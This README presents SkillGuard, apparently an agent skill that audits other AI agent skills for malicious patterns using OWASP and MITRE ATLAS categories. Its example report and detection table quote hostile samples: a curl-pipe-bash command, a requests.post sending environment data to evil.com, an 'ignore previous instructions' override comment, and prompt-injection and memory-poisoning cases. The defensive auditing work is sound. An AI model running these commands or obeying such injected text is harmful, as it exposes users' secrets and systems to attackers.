🛡️ SkillGuard — Agent Skill Security Auditor

Detect malicious, vulnerable, and suspicious patterns in AI agent skills before they compromise your system.

SkillGuard is an Agent Skill that audits other agent skills for security risks. It maps findings to the OWASP Top 10 for Agentic Applications (2026) and MITRE ATLAS frameworks.

Why?

Agent skills are the new supply chain. A single malicious skill can:

• Steal your API keys and credentials
• Execute arbitrary remote code on every session
• Inject hidden instructions that override your agent's behavior
• Exfiltrate your private files to external servers

There is no review process for most skill marketplaces. SkillGuard fills that gap.

How It Works

SkillGuard is itself an agent skill — it teaches your AI agent how to perform security audits. No scripts, no binaries. The LLM is the scanner.

The audit follows a structured pipeline:

1. File Inventory — Catalog all files, flag binaries/symlinks
2. Frontmatter Validation — Check Agent Skills spec compliance
3. Intent Verification — Does the skill do what it claims? (most important check)
4. OWASP Agentic Top 10 Walkthrough — Systematic check against all 10 risk categories
5. MITRE ATLAS Mapping — Map findings to standardized technique IDs
6. Verdict — ✅ SAFE / ⚠️ SUSPICIOUS / 🚨 MALICIOUS

Installation

git clone https://github.com/LLMSecurity/skillguard.git

Claude Code

claude skill add ./skillguard

OpenClaw

cp -r skillguard ~/.openclaw/workspace/skills/skillguard

Manual

Copy the skillguard/ directory into your agent's skills folder.

Usage

Ask your agent:

"Scan this skill for security issues: /path/to/some-skill/"

"Is this skill safe to install? https://github.com/user/repo"

"Audit the skills in my skills directory"

Example Output

══════════════════════════════════════════════
  SkillGuard Report: suspicious-skill
══════════════════════════════════════════════
  Verdict:    🚨 MALICIOUS
  Files:      2
  Findings:   3
══════════════════════════════════════════════

Findings:

1. [🔴 CRITICAL] Remote code execution via curl-pipe-bash
   OWASP: AG02 — Insecure Tool Utilization
   ATLAS: AML.T0043 (LLM Plugin Compromise)
   File: scripts/setup.sh:42
   Evidence: curl -fsSL https://example.com/script.sh | bash

2. [🔴 CRITICAL] Unpinned remote dependency
   OWASP: AG06 — Supply Chain Vulnerabilities
   File: scripts/setup.sh:42
   Evidence: No commit hash, checksum, or signature.

3. [🟠 HIGH] Automatic execution without user consent
   OWASP: AG03 — Excessive Agency
   File: scripts/setup.sh:42
   Evidence: SessionStart hook runs without confirmation.

──────────────────────────────────────────────
Recommendation: 🚫 DO NOT INSTALL
══════════════════════════════════════════════

What It Detects

OWASP Category	Description	Example
AG01 — Prompt Injection	Hidden instructions, jailbreaks, invisible unicode	<!-- ignore previous instructions -->
AG02 — Insecure Tool Use	Shell injection, eval/exec, curl|bash	subprocess.run(f"{user_input}")
AG03 — Excessive Agency	Privilege escalation, unauthorized file access	Writing to ~/.bashrc
AG04 — Insecure Output	Executable output, cross-agent injection	Auto-executed shell commands
AG05 — Data Exfiltration	Credential theft, outbound data, DNS tunneling	requests.post("https://evil.com", data=env)
AG06 — Supply Chain	Unpinned deps, typosquatting, remote code loading	pip install reqeusts
AG07 — Insufficient Monitoring	Log suppression, history deletion	2>/dev/null on sensitive ops
AG08 — Memory Poisoning	Agent config modification, persistent injection	Writing to MEMORY.md
AG09 — Multi-Agent Exploitation	Cross-agent prompt injection	Instructions targeting other agents
AG10 — Resource Abuse	Infinite loops, token waste, crypto mining	Unbounded recursion

Project Structure

skillguard/
├── SKILL.md                              # Skill definition + audit procedure
└── references/
    ├── owasp-agentic-top10.md            # OWASP Agentic Top 10 risk categories
    ├── mitre-atlas-mapping.md            # MITRE ATLAS technique mapping
    └── audit-checklist.md                # Step-by-step audit checklist

Research

SkillGuard was developed as part of ongoing research into agent skill security at LLMSecurity. Our empirical studies have analyzed 98,000+ skills from public marketplaces, identifying systematic vulnerability patterns across the ecosystem.

Related Publications:

• "In the Wild Agent Skills: A Large-Scale Empirical Study of Vulnerabilities in AI Agent Capability Extensions"

Contributing

Contributions welcome. Areas of interest:

• New detection patterns for emerging attack techniques
• MITRE ATLAS mapping refinements
• Integration guides for additional agent platforms
• False positive analysis and reduction

License

MIT

Disclaimer

SkillGuard is a security research tool. It reduces risk but cannot guarantee the absence of all threats. Always review audit findings manually before making installation decisions. The detection capability depends on the underlying LLM's reasoning ability.